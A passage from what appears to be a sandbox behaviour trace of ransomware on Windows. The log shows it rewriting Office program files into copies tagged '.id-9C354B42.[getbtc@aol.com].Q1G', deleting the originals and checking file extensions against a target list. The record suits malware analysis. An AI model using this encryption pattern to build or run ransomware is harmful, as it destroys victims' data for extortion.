hTemplateFile=0x0) returned 0x390 [0248.942] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1527046) returned 1 [0248.942] CloseHandle (hObject=0x390) returned 1 [0248.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 0x20 [0248.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.942] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.942] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.943] GetLastError () returned 0x0 [0248.943] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0249.164] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0249.180] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x74d16, lpOverlapped=0x0) returned 1 [0249.194] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x74d20, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x74d20, lpOverlapped=0x0) returned 1 [0249.389] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.389] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.389] SetEndOfFile (hFile=0x398) returned 1 [0249.390] CloseHandle (hObject=0x398) returned 1 [0249.390] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.390] SetEndOfFile (hFile=0x390) returned 1 [0249.808] CloseHandle (hObject=0x390) returned 1 [0249.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 1 [0249.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.856] lstrlenW (lpString=".doc") returned 4 [0249.856] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.856] lstrlenW (lpString=".docx") returned 5 [0249.856] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0249.856] lstrlenW (lpString=".pdf") returned 4 [0249.856] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.856] lstrlenW (lpString=".xls") returned 4 [0249.856] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.856] lstrlenW (lpString=".xlsx") returned 5 [0249.856] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0249.856] lstrlenW (lpString=".ppt") returned 4 [0249.856] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.856] lstrlenW (lpString=".zip") returned 4 [0249.856] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.856] lstrlenW (lpString=".rar") returned 4 [0249.856] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.856] lstrlenW (lpString=".bz2") returned 4 [0249.856] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.856] lstrlenW (lpString=".7z") returned 3 [0249.856] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.856] lstrlenW (lpString=".dbf") returned 4 [0249.856] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.856] lstrlenW (lpString=".1cd") returned 4 [0249.856] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.856] lstrlenW (lpString=".jpg") returned 4 [0249.856] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.857] lstrlenW (lpString=".doc") returned 4 [0249.857] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.857] lstrlenW (lpString=".docx") returned 5 [0249.857] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0249.857] lstrlenW (lpString=".pdf") returned 4 [0249.857] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.857] lstrlenW (lpString=".xls") returned 4 [0249.857] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.857] lstrlenW (lpString=".xlsx") returned 5 [0249.857] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0249.857] lstrlenW (lpString=".ppt") returned 4 [0249.857] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.857] lstrlenW (lpString=".zip") returned 4 [0249.857] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.857] lstrlenW (lpString=".rar") returned 4 [0249.857] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.857] lstrlenW (lpString=".bz2") returned 4 [0249.857] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.857] lstrlenW (lpString=".7z") returned 3 [0249.857] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.857] lstrlenW (lpString=".dbf") returned 4 [0249.857] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.857] lstrlenW (lpString=".1cd") returned 4 [0249.857] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0249.857] lstrlenW (lpString=".jpg") returned 4 [0249.857] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.858] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.858] lstrlenW (lpString="MAPISHELLR.DLL") returned 14 [0249.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.858] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=591832) returned 1 [0249.858] CloseHandle (hObject=0x398) returned 1 [0249.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll")) returned 0x20 [0249.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.859] lstrlenW (lpString=".doc") returned 4 [0249.859] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString=".docx") returned 5 [0249.859] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0249.859] lstrlenW (lpString=".pdf") returned 4 [0249.859] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString=".xls") returned 4 [0249.859] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString=".xlsx") returned 5 [0249.859] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0249.859] lstrlenW (lpString=".ppt") returned 4 [0249.859] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.859] lstrlenW (lpString=".zip") returned 4 [0249.859] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString=".rar") returned 4 [0249.859] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString=".bz2") returned 4 [0249.859] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.859] lstrlenW (lpString=".7z") returned 3 [0249.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.859] lstrlenW (lpString=".dbf") returned 4 [0249.859] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.859] lstrlenW (lpString=".1cd") returned 4 [0249.859] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.859] lstrlenW (lpString=".jpg") returned 4 [0249.859] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.859] lstrlenW (lpString=".doc") returned 4 [0249.859] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.859] lstrlenW (lpString=".docx") returned 5 [0249.859] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0249.860] lstrlenW (lpString=".pdf") returned 4 [0249.860] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.860] lstrlenW (lpString=".xls") returned 4 [0249.860] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.860] lstrlenW (lpString=".xlsx") returned 5 [0249.860] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0249.860] lstrlenW (lpString=".ppt") returned 4 [0249.860] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.860] lstrlenW (lpString=".zip") returned 4 [0249.860] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.860] lstrlenW (lpString=".rar") returned 4 [0249.860] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.860] lstrlenW (lpString=".bz2") returned 4 [0249.860] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.860] lstrlenW (lpString=".7z") returned 3 [0249.860] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.860] lstrlenW (lpString=".dbf") returned 4 [0249.860] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.860] lstrlenW (lpString=".1cd") returned 4 [0249.860] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0249.860] lstrlenW (lpString=".jpg") returned 4 [0249.860] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.860] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.860] lstrlenW (lpString="MERES.DLL") returned 9 [0249.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.894] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1052592) returned 1 [0249.894] CloseHandle (hObject=0x324) returned 1 [0249.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll")) returned 0x20 [0249.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.895] lstrlenW (lpString=".doc") returned 4 [0249.895] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.895] lstrlenW (lpString=".docx") returned 5 [0249.895] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0249.895] lstrlenW (lpString=".pdf") returned 4 [0249.895] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.895] lstrlenW (lpString=".xls") returned 4 [0249.895] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.895] lstrlenW (lpString=".xlsx") returned 5 [0249.895] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0249.895] lstrlenW (lpString=".ppt") returned 4 [0249.896] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.896] lstrlenW (lpString=".zip") returned 4 [0249.896] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString=".rar") returned 4 [0249.896] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString=".bz2") returned 4 [0249.896] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.896] lstrlenW (lpString=".7z") returned 3 [0249.896] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.896] lstrlenW (lpString=".dbf") returned 4 [0249.896] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.896] lstrlenW (lpString=".1cd") returned 4 [0249.896] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.896] lstrlenW (lpString=".jpg") returned 4 [0249.896] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.896] lstrlenW (lpString=".doc") returned 4 [0249.896] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString=".docx") returned 5 [0249.896] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0249.896] lstrlenW (lpString=".pdf") returned 4 [0249.896] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString=".xls") returned 4 [0249.896] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString=".xlsx") returned 5 [0249.896] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0249.896] lstrlenW (lpString=".ppt") returned 4 [0249.896] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.896] lstrlenW (lpString=".zip") returned 4 [0249.896] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.896] lstrlenW (lpString=".rar") returned 4 [0249.897] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.897] lstrlenW (lpString=".bz2") returned 4 [0249.897] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.897] lstrlenW (lpString=".7z") returned 3 [0249.897] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.897] lstrlenW (lpString=".dbf") returned 4 [0249.897] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.897] lstrlenW (lpString=".1cd") returned 4 [0249.897] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0249.897] lstrlenW (lpString=".jpg") returned 4 [0249.897] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.897] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0249.897] lstrlenW (lpString="MOR6INT.REST.IDX_DLL") returned 20 [0249.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.897] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=39808) returned 1 [0249.897] CloseHandle (hObject=0x324) returned 1 [0249.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 0x20 [0249.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.898] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.898] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.899] GetLastError () returned 0x0 [0249.899] ReadFile (in: hFile=0x324, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x9b80, lpOverlapped=0x0) returned 1 [0249.904] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9b90, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x9b90, lpOverlapped=0x0) returned 1 [0249.906] ReadFile (in: hFile=0x324, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.906] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0249.906] SetEndOfFile (hFile=0x360) returned 1 [0249.906] CloseHandle (hObject=0x360) returned 1 [0249.906] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.906] SetEndOfFile (hFile=0x324) returned 1 [0249.909] CloseHandle (hObject=0x324) returned 1 [0249.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 1 [0249.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.910] lstrlenW (lpString=".doc") returned 4 [0249.910] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0249.910] lstrlenW (lpString=".docx") returned 5 [0249.910] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0249.910] lstrlenW (lpString=".pdf") returned 4 [0249.910] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0249.910] lstrlenW (lpString=".xls") returned 4 [0249.910] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0249.910] lstrlenW (lpString=".xlsx") returned 5 [0249.910] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0249.910] lstrlenW (lpString=".ppt") returned 4 [0249.910] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0249.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.911] lstrlenW (lpString=".zip") returned 4 [0249.911] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString=".rar") returned 4 [0249.911] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString=".bz2") returned 4 [0249.911] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString=".7z") returned 3 [0249.911] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.911] lstrlenW (lpString=".dbf") returned 4 [0249.911] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.911] lstrlenW (lpString=".1cd") returned 4 [0249.911] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.911] lstrlenW (lpString=".jpg") returned 4 [0249.911] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0249.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0249.911] lstrlenW (lpString="C:\\Program Files\\Microsoft 